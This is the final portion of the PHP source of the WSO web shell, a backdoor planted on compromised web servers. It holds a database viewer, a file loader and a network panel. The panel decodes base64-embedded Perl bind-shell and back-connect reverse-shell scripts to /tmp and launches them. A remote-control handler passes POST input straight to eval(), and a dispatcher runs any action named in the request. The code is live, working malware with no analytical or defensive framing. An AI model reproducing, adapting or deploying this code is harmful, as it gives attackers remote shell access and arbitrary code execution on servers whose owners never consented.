1338 foreach($item as $key => $value)
1339 echo '<th>'.$key.'</th>';
1340 reset($item);
1341 $title=true;
1342 echo '</tr><tr>';
1343 $line = 2;
1344 }
1345 echo '<tr class="l'.$line.'">';
1346 $line = $line==1?2:1;
1347 foreach($item as $key => $value) {
1348 if($value == null)
1349 echo '<td><i>null</i></td>';
1350 else
1351 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1352 }
1353 echo '</tr>';
1354 }
1355 echo '</table>';
1356 } else {
1357 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1358 }
1359 }
1360 echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
1361 echo "</td></tr>";
1362 }
1363 echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1364 if(@$_POST['p1'] == 'loadfile') {
1365 $file = $db->loadFile($_POST['p2']);
1366 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1367 }
1368 }
1369 echo '</div>';
1370 wsoFooter();
1371}
1372function actionNetwork() {
1373 wsoHeader();
1374 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1375 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1376 echo "<h1>Network tools</h1><div class=content>
1377 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1378 <span>Bind port to /bin/sh [perl]</span><br/>
1379 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1380 </form>
1381 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1382 <span>Back-connect [perl]</span><br/>
1383 Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1384 </form><br>";
1385 if(isset($_POST['p1'])) {
1386 function cf($f,$t) {
1387 $w=@fopen($f,"w") or @function_exists('file_put_contents');
1388 if($w) {
1389 @fwrite($w,@base64_decode($t));
1390 @fclose($w);
1391 }
1392 }
1393 if($_POST['p1'] == 'bpp') {
1394 cf("/tmp/bp.pl",$bind_port_p);
1395 $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
1396 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
1397 }
1398 if($_POST['p1'] == 'bcp') {
1399 cf("/tmp/bc.pl",$back_connect_p);
1400 $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
1401 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
1402 }
1403 }
1404 echo '</div>';
1405 wsoFooter();
1406}
1407function actionRC() {
1408 if(!@$_POST['p1']) {
1409 $a = array(
1410 "uname" => php_uname(),
1411 "php_version" => phpversion(),
1412 "wso_version" => VERSION,
1413 "safemode" => @ini_get('safe_mode')
1414 );
1415 echo serialize($a);
1416 } else {
1417 eval($_POST['p1']);
1418 }
1419}
1420if( empty($_POST['a']) )
1421 if(isset($default_action) && function_exists('action' . $default_action))
1422 $_POST['a'] = $default_action;
1423 else
1424 $_POST['a'] = 'SecInfo';
1425if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1426 call_user_func('action' . $_POST['a']);
1427exit;
1428?>